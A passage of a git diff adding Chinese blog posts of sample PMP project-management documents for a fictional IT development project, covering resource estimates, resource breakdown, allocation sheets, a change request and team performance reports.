包括项目经理、开发人员、测试人员及其他支持人员的薪资 | +| **设备采购** | ¥150,000 | 包括服务器、开发和测试工具的采购费用 | +| **办公费用** | ¥50,000 | 办公场所租赁、日常办公设备费用 | +| **培训费用** | ¥30,000 | 团队成员技能培训的费用 | +| **应急资金** | ¥20,000 | 应对突发事件和风险管理的预留资金 | + +------ + +### **5. 资源需求总结** + +本项目需要多种资源，包括专业技能丰富的人力资源、必要的设备与材料以及充足的财务预算，以确保项目的成功实施。在项目的各个阶段，资源需求将根据进展情况进行动态调整，确保资源的最优配置。 + +------ + +### **6. 资源需求监控** + +项目经理将定期监控资源需求的实际使用情况，并与资源需求计划进行对比，确保项目在预算和资源使用上保持一致。如发现偏差，将及时提出变更请求并进行调整。 diff --git a/_posts/2024-10-08-711-eb.md b/_posts/2024-10-08-711-eb.md new file mode 100644 index 0000000..f13e9d4 --- /dev/null +++ b/_posts/2024-10-08-711-eb.md @@ -0,0 +1,70 @@ +--- +layout: post +title: 估算依据 +pid: 711 +tags: [pmp, 高项] +--- + +估算依据 - Estimation Basis + +### **估算依据** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **编制日期**：2024年10月10日 + +------ + +### **1. 估算依据概述** + +估算依据是用于支持项目资源需求和成本估算的基础信息，包括历史数据、市场调研结果、专家意见和项目特性等。本文档详细列出了本项目的资源估算依据，以确保资源需求和预算的准确性。 + +------ + +### **2. 人力资源估算依据** + +- **历史数据**： + - 参考了类似项目的人力资源需求数据。例如，ABC项目在开发阶段需要4名开发人员和2名测试人员，工作周期为6个月，类似需求适用于本项目。 +- **专家评估**： + - 项目经理与团队成员讨论，基于个人经验估算所需人力资源数量和技能要求。 +- **行业标准**： + - 参考行业报告，确定各角色在相似项目中的普遍工作时长和人数。例如，开发人员的工作效率通常为每人每月完成80-120小时的有效工作。 + +------ + +### **3. 设备与材料估算依据** + +- **市场调研**： + - 对比多家供应商的报价，评估设备采购的市场行情。根据调研数据，预计服务器的采购成本为每台¥75,000。 +- **技术要求**： + - 结合项目的技术规范，确定所需设备的类型与配置。为支持大型系统开发，预计采购2台高性能服务器。 +- **已有资源**： + - 评估现有设备的可用性，判断哪些设备可以再利用，以降低采购成本。 + +------ + +### **4. 财务资源估算依据** + +- **预算基准**： + - 参考过往项目的财务报告，制定预算基准。历史数据显示，类似项目的人力成本约占总预算的60%。 +- **费用类别**： + - 将费用分类为固定费用和变动费用。固定费用包括办公场所租赁等，变动费用包括人员薪资和设备采购。 +- **应急预算**： + - 根据项目复杂性和风险评估结果，预留约5%的预算作为应急资金，以应对可能的变更和额外需求。 + +------ + +### **5. 估算方法** + +- **类比估算**： + - 利用历史项目数据和类似项目的资源需求，进行类比估算。 +- **专家判断**： + - 邀请相关领域的专家根据项目需求和团队构成提出估算建议。 +- **自下而上估算**： + - 将项目拆分为各个活动，逐步估算各项活动所需的资源，并汇总得到整体估算。 + +------ + +### **6. 估算依据总结** + +本项目的估算依据涵盖了人力资源、设备与材料以及财务资源的各个方面，确保资源估算的合理性和准确性。通过采用多种估算方法和依据，我们能够更好地制定项目资源需求计划，为项目的顺利实施奠定基础。 diff --git a/_posts/2024-10-08-712-rbs.md b/_posts/2024-10-08-712-rbs.md new file mode 100644 index 0000000..2e97620 --- /dev/null +++ b/_posts/2024-10-08-712-rbs.md @@ -0,0 +1,80 @@ +--- +layout: post +title: 资源分解结构 +pid: 712 +tags: [pmp, 高项] +--- + +资源分解结构 - Resource Breakdown Structure (RBS) + +### **资源分解结构（RBS）** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **编制日期**：2024年10月10日 + +------ + +### **1. 资源分解结构概述** + +资源分解结构（RBS）是对项目所需资源进行层次化分类和分解的图形化表示。通过将资源划分为不同层级，便于识别、组织和管理项目所需的各类资源。以下是本项目的资源分解结构。 + +------ + +### **2. 资源分解结构图** + +``` +XYZ 信息系统开发项目资源分解结构 + +1. 人力资源 + 1.1 项目经理 + 1.2 开发团队 + 1.2.1 前端开发人员 + 1.2.2 后端开发人员 + 1.2.3 数据库管理员 + 1.3 测试团队 + 1.3.1 测试经理 + 1.3.2 自动化测试工程师 + 1.3.3 手动测试工程师 + 1.4 业务分析师 + 1.5 UI/UX设计师 + +2. 设备与材料 + 2.1 服务器 + 2.2 开发工具 + 2.2.1 IDE（集成开发环境） + 2.2.2 版本控制工具 + 2.3 测试设备 + 2.3.1 测试服务器 + 2.3.2 测试环境配置 + +3. 财务资源 + 3.1 人力成本 + 3.2 设备采购费用 + 3.3 运营费用 + 3.3.1 办公室租赁 + 3.3.2 公用事业费用 + 3.4 其他成本 + 3.4.1 旅行与差旅费用 + 3.4.2 培训费用 +``` + +------ + +### **3. 资源分解结构说明** + +- **人力资源**： + - 包括所有参与项目的人员，按照角色分类，确保覆盖项目所需的各类专业人才。 + - 每个角色的职责和工作量将在后续文档中详细说明。 +- **设备与材料**： + - 涵盖了项目实施所需的硬件设备和软件工具，确保技术支持项目的开发与测试阶段。 + - 设备和工具的具体需求和预算将在资源需求文档中详细列出。 +- **财务资源**： + - 列出了项目的主要费用类别，包括人力成本和其他运营成本，以便于资金的有效管理和分配。 + - 预算分配原则和具体金额将在成本估算和资金需求文件中明确。 + +------ + +### **4. 资源分解结构总结** + +通过资源分解结构，我们能够清晰地识别出项目所需的各类资源，并确保在项目实施过程中各类资源的合理配置与有效管理。这一结构为后续的资源管理、预算编制和进度安排奠定了基础。 diff --git a/_posts/2024-10-08-713-mras.md b/_posts/2024-10-08-713-mras.md new file mode 100644 index 0000000..422086c --- /dev/null +++ b/_posts/2024-10-08-713-mras.md @@ -0,0 +1,60 @@ +--- +layout: post +title: 物质资源分配单 +pid: 713 +tags: [pmp, 高项] +--- + +物质资源分配单 - Material Resource Allocation Sheet + +### **物质资源分配单** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **编制日期**：2024年10月10日 + +#### **编制人**：项目经理 - 李四 + +------ + +### **1. 物质资源分配单概述** + +物质资源分配单用于详细记录项目中所需的各类物质资源（如硬件设备、软件工具、办公设备等），并明确其分配到各工作包或项目阶段的情况。通过物质资源分配单，可以有效跟踪资源的使用和调配，确保资源合理利用，避免浪费。 + +------ + +### **2. 物质资源分配清单** + +| **资源编号** | **资源名称** | **数量** | **分配到的工作包** | **分配日期** | **预计使用时长** | **负责人** | **备注** | +| ------------ | ------------------ | -------- | ---------------------------- | ------------ | ---------------- | ------------------- | --------------------- | +| RES001 | 服务器 | 4 台 | 软件开发及测试（WP01, WP02） | 2024-10-15 | 12 个月 | 技术主管 - 张三 | 配置双核16G内存 | +| RES002 | IDE软件许可 | 10 套 | 开发工作（WP01） | 2024-10-20 | 12 个月 | 项目经理 - 李四 | IntelliJ IDEA | +| RES003 | 测试服务器 | 2 台 | 测试工作（WP02） | 2024-11-01 | 12 个月 | 测试经理 - 王五 | 专门用于负载测试 | +| RES004 | 数据库软件许可 | 2 套 | 数据库开发及维护（WP01） | 2024-10-25 | 12 个月 | 数据库管理员 - 赵六 | PostgreSQL | +| RES005 | 办公电脑 | 15 台 | 开发团队及支持人员 | 2024-10-10 | 24 个月 | IT管理员 - 刘七 | 配置16G内存，256G SSD | +| RES006 | 网络设备（交换机） | 3 台 | 全项目组使用 | 2024-10-18 | 24 个月 | IT管理员 - 刘七 | 千兆以太网支持 | +| RES007 | 办公软件许可 | 15 套 | 全项目组使用 | 2024-10-12 | 24 个月 | IT管理员 - 刘七 | Office 365 | + +------ + +### **3. 物质资源分配说明** + +- **服务器（RES001）**：分配给开发和测试阶段，确保项目组能够在服务器环境中进行开发、部署和测试操作。预计使用时长为12个月，资源将在项目交付时归还或移交给维护团队。 +- **IDE软件许可（RES002）**：开发团队需要使用集成开发环境（IDE）来进行代码编写和调试，分配10套软件许可，确保每个开发人员均有个人开发环境。 +- **测试服务器（RES003）**：为测试团队分配的专用资源，用于进行系统负载测试和性能测试，确保项目能够满足预期的性能指标。 +- **数据库软件许可（RES004）**：为数据库开发和维护分配两套数据库软件许可，便于团队对项目中的数据进行处理和管理。 +- **办公电脑（RES005）**：为项目开发和支持团队提供的基础硬件设备，配备高性能办公电脑以支持项目团队的日常工作。 +- **网络设备（RES006）**：确保项目团队在内部网络环境中的通信和协作。千兆交换机能够保证高效的数据传输。 +- **办公软件许可（RES007）**：全项目组都需要使用办公软件进行文档处理、沟通和协作，分配了15套Office 365许可。 + +------ + +### **4. 物质资源分配管理** + +此表将定期更新，随时跟踪资源的使用情况。所有负责人需要确保资源的合理使用并按时归还或继续申请延用。任何设备的损坏或更换需向项目经理提交变更请求。 + +------ + +### **5. 物质资源分配总结** + +物质资源的合理分配和使用是项目成功的关键因素之一。本分配单确保各类物质资源得到有效分配，以支持项目的开发、测试和实施阶段，确保项目进度和质量目标的实现。 diff --git a/_posts/2024-10-08-714-ptas.md b/_posts/2024-10-08-714-ptas.md new file mode 100644 index 0000000..ee5cfa9 --- /dev/null +++ b/_posts/2024-10-08-714-ptas.md @@ -0,0 +1,62 @@ +--- +layout: post +title: 项目团队派工单 +pid: 714 +tags: [pmp, 高项] +--- + +项目团队派工单 - Project Team Assignment Sheet + +### **项目团队派工单** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **编制日期**：2024年10月12日 + +#### **编制人**：项目经理 - 李四 + +------ + +### **1. 派工单概述** + +项目团队派工单用于将项目的具体任务分配给各个团队成员，明确任务的责任人、工作内容、时间要求和相关交付成果。此派工单确保项目的高效执行，并提供对任务进度和人员安排的跟踪依据。 + +------ + +### **2. 派工明细** + +| **任务编号** | **任务名称** | **负责人** | **所需技能** | **分配日期** | **预计完成日期** | **任务描述** | **备注** | +| ------------ | -------------- | --------------------- | ---------------------- | ------------ | ---------------- | ---------------------------------------------------- | ---------------------- | +| TSK001 | 系统需求分析 | 系统分析师 - 张三 | 需求分析、沟通能力 | 2024-10-15 | 2024-10-30 | 对用户需求进行详细分析，生成需求规格说明书 | 需求规格说明书（SRS） | +| TSK002 | 数据库架构设计 | 数据库管理员 - 赵六 | 数据库设计与优化 | 2024-10-20 | 2024-11-10 | 设计系统的数据库架构，定义数据模型和表结构 | 数据库设计文档 | +| TSK003 | 前端界面开发 | 前端开发工程师 - 王五 | HTML/CSS、JavaScript | 2024-11-01 | 2024-11-25 | 根据UI设计开发系统前端界面，确保跨浏览器兼容性 | 前端代码及UI设计集成 | +| TSK004 | 后端服务开发 | 后端开发工程师 - 刘七 | Java、Spring Boot | 2024-11-01 | 2024-12-10 | 开发并集成后端服务，确保与前端和数据库的高效交互 | 后端代码及API文档 | +| TSK005 | 系统集成测试 | 测试经理 - 李四 | 测试用例设计、Bug跟踪 | 2024-12-15 | 2024-12-30 | 根据测试用例对系统进行集成测试，发现并记录Bug | 测试报告及问题清单 | +| TSK006 | 性能优化 | 系统性能工程师 - 陈八 | 性能分析、优化工具 | 2024-12-10 | 2024-12-25 | 对系统性能进行分析，识别瓶颈并进行优化 | 性能优化报告 | +| TSK007 | 系统上线准备 | 项目经理 - 李四 | 项目管理、协调能力 | 2025-01-01 | 2025-01-05 | 确保所有系统组件准备就绪，协同各团队完成上线部署 | 上线部署计划及验收报告 | +| TSK008 | 用户培训 | 培训经理 - 赵五 | 培训材料制作、演讲能力 | 2025-01-06 | 2025-01-10 | 制定并执行用户培训计划，确保终端用户能够正确使用系统 | 培训手册及用户反馈 | + +------ + +### **3. 任务分配说明** + +- **系统需求分析**（TSK001）：负责对用户需求进行详细调研和分析，确保需求文档准确完整，为后续开发提供依据。 +- **数据库架构设计**（TSK002）：数据库管理员负责设计数据库架构，定义数据表结构和关系，保证系统的数据存储安全性与高效性。 +- **前端界面开发**（TSK003）：前端开发人员依据UI设计开发系统的前端页面，确保系统的用户界面符合设计规范且具有良好的用户体验。 +- **后端服务开发**（TSK004）：后端开发人员负责系统核心业务逻辑的实现，确保系统与数据库的高效通信，并通过API与前端交互。 +- **系统集成测试**（TSK005）：测试经理根据测试计划对整个系统进行全面集成测试，确保各模块协同工作无误，并在测试中记录和处理发现的缺陷。 +- **性能优化**（TSK006）：性能工程师对系统的性能进行分析，发现影响系统运行效率的瓶颈，进行必要的代码优化和资源调整。 +- **系统上线准备**（TSK007）：项目经理协调各团队进行系统上线前的准备工作，确保所有功能模块和基础设施已经就绪，符合上线标准。 +- **用户培训**（TSK008）：培训经理负责组织并开展用户培训，确保最终用户能够熟练操作系统并理解其主要功能。 + +------ + +### **4. 派工单管理** + +此派工单将随项目进展不断更新，所有团队成员需按时完成分配任务并定期汇报进度。项目经理负责整体协调工作，确保项目按计划推进。团队成员如遇问题或需要调整任务，应及时向项目经理反馈。 + +------ + +### **5. 派工单总结** + +本项目团队派工单为项目组成员的任务分配提供了详细的指导，通过明确的任务划分和时间节点，保障项目任务的顺利完成。项目经理需定期跟踪并调整任务进度，以应对潜在的变更和挑战。 diff --git a/_posts/2024-10-08-715-rc.md b/_posts/2024-10-08-715-rc.md new file mode 100644 index 0000000..d763900 --- /dev/null +++ b/_posts/2024-10-08-715-rc.md @@ -0,0 +1,62 @@ +--- +layout: post +title: 资源日历 +pid: 715 +tags: [pmp, 高项] +--- + +资源日历 - Resource Calendar + +### **项目资源日历** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **编制日期**：2024年10月12日 + +#### **编制人**：项目经理 - 李四 + +------ + +### **1. 资源日历概述** + +资源日历是一个用来显示项目资源（包括人员、设备和材料）的可用性、任务分配和工时安排的工具。它有助于项目管理者跟踪每个资源在项目期间的工作状态、可用时段以及可能的冲突，确保在项目不同阶段各资源的有效使用。 + +------ + +### **2. 项目资源使用情况** + +| **资源名称** | **资源类型** | **任务编号** | **任务名称** | **分配时段** | **可用时间段** | **不可用时间段** | **备注** | +| ---------------------- | ------------ | ------------ | -------------- | ----------------------- | -------------- | ----------------------- | -------------------------- | +| 张三（系统分析师） | 人员 | TSK001 | 系统需求分析 | 2024-10-15 - 2024-10-30 | 周一到周五 | 无 | 需求分析完成后将空闲 | +| 赵六（数据库管理员） | 人员 | TSK002 | 数据库架构设计 | 2024-10-20 - 2024-11-10 | 周一到周五 | 无 | 后续可能参与性能优化 | +| 王五（前端开发工程师） | 人员 | TSK003 | 前端界面开发 | 2024-11-01 - 2024-11-25 | 周一到周五 | 2024-11-26 - 2024-12-01 | 可能支援测试阶段 | +| 刘七（后端开发工程师） | 人员 | TSK004 | 后端服务开发 | 2024-11-01 - 2024-12-10 | 周一到周五 | 无 | 后续参与系统优化和测试 | +| 李四（项目经理） | 人员 | TSK007 | 系统上线准备 | 2025-01-01 - 2025-01-05 | 全天可用 | 无 | 负责上线协调及验收工作 | +| 陈八（系统性能工程师） | 人员 | TSK006 | 性能优化 | 2024-12-10 - 2024-12-25 | 周一到周五 | 2024-12-25 - 2025-01-01 | 完成优化后空闲 | +| 测试服务器 | 设备 | TSK005 | 系统集成测试 | 2024-12-15 - 2024-12-30 | 全天可用 | 无 | 测试完毕后继续用于性能测试 | +| 开发服务器 | 设备 | TSK004 | 后端服务开发 | 2024-11-01 - 2024-12-10 | 全天可用 | 2024-12-11 - 2024-12-15 | 后端开发完毕后转交测试团队 | + +------ + +### **3. 资源可用性说明** + +1. **张三（系统分析师）**：在2024年10月15日至2024年10月30日期间参与需求分析任务，之后将空闲，等待后续任务安排。 +2. **赵六（数据库管理员）**：从2024年10月20日至2024年11月10日负责数据库架构设计，随后可能支援系统性能优化工作。 +3. **王五（前端开发工程师）**：2024年11月1日至2024年11月25日开发前端界面，界面开发完成后有短暂休整期，随后可能支援测试阶段的工作。 +4. **刘七（后端开发工程师）**：从2024年11月1日至2024年12月10日进行后端开发，开发完成后预计参与系统的优化和测试阶段。 +5. **李四（项目经理）**：项目经理李四全程参与项目管理和协调工作，特别是在2025年1月1日至2025年1月5日负责系统上线准备。 +6. **陈八（系统性能工程师）**：负责系统性能优化工作，从2024年12月10日至2024年12月25日进行优化，预计在优化完成后进入休整期，随后可能支援上线工作。 +7. **测试服务器**：从2024年12月15日到2024年12月30日用于系统集成测试，后续仍会用于性能测试和其他相关工作。 +8. **开发服务器**：开发服务器全天可用，从2024年11月1日至2024年12月10日用于后端开发，之后转交测试团队用于测试工作。 + +------ + +### **4. 资源日历管理** + +本资源日历将随着项目进展进行实时更新，资源分配及可用情况会根据任务的实际进展做出调整。项目经理需密切关注资源的使用情况，确保每个任务阶段有足够的资源支持。各资源的负责人应根据日历安排任务，并及时向项目经理汇报资源的使用情况。 + +------ + +### **5. 资源冲突与调度** + +如发现某一阶段的资源需求超出预期或有资源冲突，应立即进行调整。通过优化资源分配，减少资源浪费，并确保项目按时、按质完成。 diff --git a/_posts/2024-10-08-716-cr.md b/_posts/2024-10-08-716-cr.md new file mode 100644 index 0000000..7dad73f --- /dev/null +++ b/_posts/2024-10-08-716-cr.md @@ -0,0 +1,87 @@ +--- +layout: post +title: 变更请求 +pid: 716 +tags: [pmp, 高项] +--- + +变更请求 - Change Request + +### **变更请求** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **变更请求编号**：CR-001 + +#### **变更提出日期**：2024年11月5日 + +#### **提出人**：李四（项目经理） + +------ + +### **1. 变更请求概述** + +**变更类型**：资源管理变更 +**变更描述**：由于项目需求的调整和任务延迟，后端开发工作需要额外的资源支持。原定的开发资源不足以满足当前进度要求，故申请增加1名后端开发工程师并延长开发服务器的使用时间。 + +------ + +### **2. 变更原因** + +- **原计划中**，后端开发预计在2024年12月10日前完成，但由于项目需求增加和复杂性提升，开发任务进度有所延迟，预计需要额外两周的开发时间。 +- **资源不足**：目前的后端开发工程师工作量饱和，无法按时完成新增加的开发任务。 +- **设备需求**：原定的开发服务器将于2024年12月10日转交给测试团队，但由于开发延期，需延长服务器的使用时间至2024年12月25日。 + +------ + +### **3. 变更内容** + +- **人力资源**：增加1名后端开发工程师（刘九），支持后端开发任务，持续时间为2024年11月15日至2024年12月25日。 +- **设备资源**：开发服务器的使用时间由原定的2024年12月10日延长至2024年12月25日，之后再交付给测试团队。 + +------ + +### **4. 变更影响分析** + +- **进度影响**：后端开发任务的完成时间将延迟两周，调整后的任务结束时间为2024年12月25日。整体项目进度将相应推迟，但上线日期暂时不受影响。 +- **成本影响**：由于增加了1名后端开发工程师，项目的人力成本将增加￥50,000。此外，开发服务器的租赁成本将增加￥10,000，总成本额外增加￥60,000。 +- **资源冲突**：原定的开发服务器需要在2024年12月10日移交测试团队，延迟移交可能导致测试进度的调整。需协调测试团队，确保测试服务器资源满足需求。 +- **风险分析**：由于后端开发任务的延期和额外资源的投入，项目的风险等级将提升，可能导致上线计划出现进一步延迟。 + +------ + +### **5. 变更执行计划** + +- **新增开发人员**：增加的后端开发工程师将从2024年11月15日起开始工作，参与后端服务的开发与测试，预计在2024年12月25日完成所有任务。 +- **延长设备使用时间**：开发服务器的使用时间将延长至2024年12月25日，之后转交测试团队进行系统集成测试。 + +------ + +### **6. 批准要求** + +**审批人**： + +- 项目发起人：王总（签字） +- 财务负责人：赵总（签字） +- 技术负责人：张工（签字） + +审批结果： + +- 批准 +- 拒绝 + +------ + +### **7. 变更跟踪** + +此变更请求将在变更管理流程中进行跟踪，并在项目变更日志中记录其状态和执行情况。变更完成后，将更新项目的资源管理计划和进度计划，以确保项目的顺利推进。 + +------ + +### **8. 变更完成状态** + +**变更执行情况**： + +- 执行人员：刘九（新增后端开发工程师） +- 执行日期：2024年11月15日 - 2024年12月25日 +- 执行结果：后端开发任务按时完成，开发服务器顺利转交测试团队。 diff --git a/_posts/2024-10-08-717-tpe.md b/_posts/2024-10-08-717-tpe.md new file mode 100644 index 0000000..e706e70 --- /dev/null +++ b/_posts/2024-10-08-717-tpe.md @@ -0,0 +1,73 @@ +--- +layout: post +title: 团队绩效评价 +pid: 717 +tags: [pmp, 高项] +--- + +团队绩效评价 - Team Performance Evaluation + +### **团队绩效评价** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **评价日期**：2024年12月30日 + +#### **评价周期**：2024年10月1日 - 2024年12月25日 + +#### **评价人**：李四（项目经理） + +------ + +### **1. 评价目标** + +本次团队绩效评价的目的是全面评估团队成员在项目中的工作表现，包括他们的工作态度、完成任务的质量、工作效率及合作精神，确保团队能够高效完成项目目标，并为后续的资源分配和管理提供依据。 + +------ + +### **2. 评价标准** + +团队绩效评价采用以下标准进行考量： + +- **工作质量**：团队成员完成的任务是否符合项目要求和质量标准。 +- **工作效率**：团队成员是否能够在规定的时间内按时完成任务，工作进度是否符合计划。 +- **协作能力**：团队成员在与其他团队成员及相关干系人合作过程中是否展现出良好的沟通与协作能力。 +- **解决问题的能力**：团队成员是否具备发现并解决项目过程中出现问题的能力。 +- **创新与主动性**：团队成员是否能够在项目中提出建设性意见或建议，并主动承担责任。 +- **资源利用率**：团队成员是否能够高效利用项目分配的资源（人力、物力、时间等），最大化产出。 + +------ + +### **3. 团队成员表现评价** + +| **姓名** | **角色** | **工作质量** | **工作效率** | **协作能力** | **解决问题能力** | **创新与主动性** | **总评分** | +| -------- | -------------- | ------------ | ------------ | ------------ | ---------------- | ---------------- | ---------- | +| 张三 | 前端开发工程师 | 优秀 | 良好 | 优秀 | 优秀 | 良好 | 9/10 | +| 李四 | 后端开发工程师 | 良好 | 优秀 | 优秀 | 良好 | 优秀 | 9/10 | +| 王五 | 数据库管理员 | 良好 | 良好 | 良好 | 优秀 | 良好 | 8/10 | +| 刘六 | 系统架构师 | 优秀 | 优秀 | 优秀 | 优秀 | 优秀 | 10/10 | +| 赵七 | 测试工程师 | 良好 | 良好 | 良好 | 良好 | 良好 | 8/10 | + +------ + +### **4. 团队整体表现** + +- **团队合作**：团队整体的协作能力表现出色，成员之间的沟通顺畅，尤其是在开发过程中，前端与后端开发人员保持了紧密的合作，确保了功能模块的顺利整合。 +- **工作进度**：团队基本上能够按时完成各自的任务，大部分工作进度符合项目计划，开发工作如期完成。然而，部分功能模块由于需求变更导致测试阶段有所延迟，但并未影响项目整体进度。 +- **质量控制**：团队成员在开发过程中严格遵循项目质量标准，代码质量较高，数据库架构合理，测试团队的质量控制和发现问题的能力较强，确保了系统的稳定性。 +- **创新与改进**：部分成员在项目中展现了较强的创新意识，例如系统架构师刘六提出的性能优化方案，显著提升了系统的处理能力。同时，后端开发人员在功能实现过程中也提出了优化方案，节省了开发时间。 +- **资源利用率**：团队高效利用了有限的开发资源，尤其在硬件设备的调配和开发环境的使用上，保证了资源最大化利用。 + +------ + +### **5. 改进建议** + +- **测试阶段的优化**：虽然整体测试工作表现良好，但由于开发工作延迟，测试阶段的任务压力较大，建议后续项目中加强开发与测试的沟通，确保测试团队有足够的时间进行详细测试。 +- **工作负荷分配**：后端开发人员的任务较为繁重，导致部分功能实现和调试有所延迟，建议未来项目中平衡工作负荷，确保每个成员都能合理安排时间。 +- **继续鼓励创新**：项目中表现出色的成员提出了许多有益的改进建议，建议在未来项目中继续鼓励这种主动创新精神，并通过奖励机制提升团队成员的积极性。 + +------ + +### **6. 总结** + +XYZ项目团队在2024年第四季度表现优秀，所有团队成员都以高标准完成了各自的任务。团队表现出的协作能力和创新精神，是本项目顺利推进的重要因素。未来项目中应进一步优化资源分配和测试流程，确保项目更加高效的完成。 diff --git a/_posts/2024-10-08-718-wpd.md b/_posts/2024-10-08-718-wpd.md new file mode 100644 index 0000000..7feea35 --- /dev/null +++ b/_posts/2024-10-08-718-wpd.md @@ -0,0 +1,69 @@ +--- +layout: post +title: 工作绩效数据 +pid: 718 +tags: [pmp, 高项] +--- + +工作绩效数据 - Work Performance Data + +### **工作绩效数据** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **数据记录日期**：2024年12月30日 + +#### **评价周期**：2024年10月1日 - 2024年12月25日 + +#### **记录人**：李四（项目经理） + +------ + +### **1. 资源使用情况** + +| **资源名称** | **资源类型** | **分配的工作量** | **实际使用工作量** | **差异** | **备注** | +| ------------ | ------------ | ---------------- | ------------------ | -------- | ---------------------------------------- | +| 张三 | 人力资源 | 400小时 | 380小时 | -20小时 | 前端开发阶段顺利完成，略低于预期工作量。 | +| 李四 | 人力资源 | 450小时 | 460小时 | +10小时 | 后端开发过程中处理额外需求。 | +| 王五 | 人力资源 | 300小时 | 310小时 | +10小时 | 数据库架构优化耗时较多。 | +| 刘六 | 人力资源 | 200小时 | 200小时 | 0小时 | 架构设计按时完成。 | +| 赵七 | 人力资源 | 350小时 | 370小时 | +20小时 | 测试阶段由于功能变更有所延长。 | +| 开发服务器 | 物质资源 | 3台 | 3台 | 0台 | 硬件资源分配正常。 | +| 测试环境 | 物质资源 | 1个 | 1个 | 0个 | 测试环境按需求运行，无超额使用。 | +| 数据库许可 | 软件资源 | 2个 | 2个 | 0个 | 数据库软件按计划使用，无额外需求。 | + +------ + +### **2. 工时消耗情况** + +| **任务名称** | **分配工时** | **实际工时** | **差异** | **备注** | +| ---------------- | ------------ | ------------ | -------- | ------------------------------------ | +| 前端开发 | 400小时 | 380小时 | -20小时 | 团队协作良好，工作提前完成。 | +| 后端开发 | 450小时 | 460小时 | +10小时 | 涉及需求变更和接口优化，增加工作量。 | +| 数据库设计与优化 | 300小时 | 310小时 | +10小时 | 数据库优化耗时较多，略超出计划。 | +| 系统架构设计 | 200小时 | 200小时 | 0小时 | 按计划完成，无超时情况。 | +| 测试阶段 | 350小时 | 370小时 | +20小时 | 测试延长，主要由于需求变更和调整。 | + +------ + +### **3. 资源消耗效率** + +- **整体人力资源消耗**：总体分配工时为1700小时，实际消耗1720小时，差异+20小时，主要由于需求变更和测试阶段的时间延长。 +- **物质资源利用**：开发和测试环境资源按计划分配并无超额使用，资源分配合理，设备利用率为100%。 +- **软件资源利用**：软件许可和系统工具的使用情况均符合计划，无超出许可范围的情况。 + +------ + +### **4. 问题与改进建议** + +- **后端开发与需求变更**：需求变更导致后端开发额外增加了10小时工作量，建议在后续项目中进一步加强需求的前期梳理与确认，减少变更对开发阶段的影响。 +- **测试阶段时间超出**：测试阶段由于变更和接口问题，导致测试时间增加20小时，建议后续项目中将测试阶段时间规划得更加灵活，并与开发团队进一步协调。 +- **数据库优化效率提升**：数据库管理员在优化过程中超出计划10小时，未来项目中可以引入自动化数据库优化工具，以提高效率并减少人工操作时间。 + +------ + +### **5. 资源使用汇总** + +- **人力资源**：团队整体工时较为接近预期，但由于需求调整和测试延长，总体工时略有超出。需在未来项目中关注需求管理和测试计划的进一步细化。 +- **物质资源**：硬件和软件资源使用效率较高，未出现资源浪费或不足的情况，硬件环境按需分配并合理利用。 +- **软件资源**：数据库许可和其他软件工具均按计划使用，未出现超出预期的费用和资源消耗。 diff --git a/_posts/2024-10-08-719-wpi.md b/_posts/2024-10-08-719-wpi.md new file mode 100644 index 0000000..630a4a9 --- /dev/null +++ b/_posts/2024-10-08-719-wpi.md @@ -0,0 +1,87 @@ +--- +layout: post +title: 工作绩效信息 +pid: 719 +tags: [pmp, 高项] +--- + +工作绩效信息 - Work Performance Information + +### **工作绩效信息** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **报告生成日期**：2024年12月30日 + +#### **报告周期**：2024年10月1日 - 2024年12月25日 + +#### **报告编写人**：李四（项目经理） + +------ + +### **1. 项目资源使用情况总结** + +- **人力资源使用效率**： + 整体团队的工作时间消耗基本符合预期，总体差异为+20小时（实际总工时为1720小时，分配总工时为1700小时）。开发人员在开发和测试阶段略有超时，但未对整体项目进度产生重大影响。 + - 前端开发提前完成20小时，效率高。 + - 后端开发由于需求变更导致多花费10小时，需要改进需求管理流程。 + - 测试阶段由于接口调整和需求变更延长了20小时，需加强开发和测试阶段的协调。 +- **物质资源利用情况**： + 所有物质资源（开发服务器、测试环境等）均按照项目计划合理使用，资源利用率为100%。未出现资源闲置或短缺情况，表明项目的物质资源规划合理。 +- **软件资源利用情况**： + 数据库许可和其他软件工具使用情况与计划一致，没有出现超出许可的使用问题，资源使用情况良好。 + +------ + +### **2. 项目进展中的资源瓶颈与挑战** + +- **后端开发资源调配不足**： + 由于需求变更和接口优化，后端开发工作量略有超出，表明该模块在资源调度上存在瓶颈。在未来项目中，需考虑增加备用开发人员，或者在项目早期更加详细地梳理需求，减少开发过程中变更带来的资源浪费。 +- **测试阶段的时间延长**： + 测试阶段由于需求变更和接口问题，导致工时延长20小时。虽然这没有对项目整体进度产生严重影响，但暴露出测试计划灵活性不足的问题。建议未来项目增加冗余时间，或建立更紧密的开发与测试反馈机制。 + +------ + +### **3. 资源利用率分析与建议** + +- **人力资源利用率**： + 虽然团队整体上按时完成任务，但一些模块的工作量波动较大。未来项目可在关键模块阶段，采取更灵活的资源调度策略，比如在需求变更时及时调整人员配置，确保核心开发人员的工作量稳定。 +- **物质资源效率**： + 项目中的物质资源（硬件设备和环境）利用率保持在100%，显示出物质资源的规划合理性。今后应继续确保在项目初期准确预测硬件需求，以避免资源浪费或不足。 +- **软件资源利用率**： + 数据库许可等软件资源的使用没有超出计划，这得益于合理的资源分配。未来项目中建议维持该良好管理方式，并根据需要更新和扩展软件许可，以支持项目的顺利进行。 + +------ + +### **4. 项目当前状态与资源需求** + +- **当前项目状态**： + 项目正在按照计划推进，开发和测试已基本完成，未出现重大延误。剩余的工作主要集中在系统集成与用户验收阶段，预计不会对整体资源消耗产生较大影响。 +- **未来资源需求预测**： + 项目接下来的工作预计不会增加额外的人力或物质资源需求，但为了确保最终交付，建议保留少量开发人员以支持系统集成阶段的技术问题解决。 + +------ + +### **5. 风险与应对措施** + +- **需求变更风险**： + 后端开发与测试阶段的工时超出反映了需求变更对资源消耗的影响。为了减少此类风险，建议未来项目加强需求审查和确认，避免频繁变更影响资源调配。 +- **资源调配弹性不足**： + 项目资源的调配弹性不足，特别是在人力资源方面。未来项目应考虑增加对关键技术人员的备份方案，或者采取更灵活的资源调配策略，确保在需求或计划发生变化时，能够及时进行调整。 + +------ + +### **6. 改进建议** + +- **加强需求管理**： + 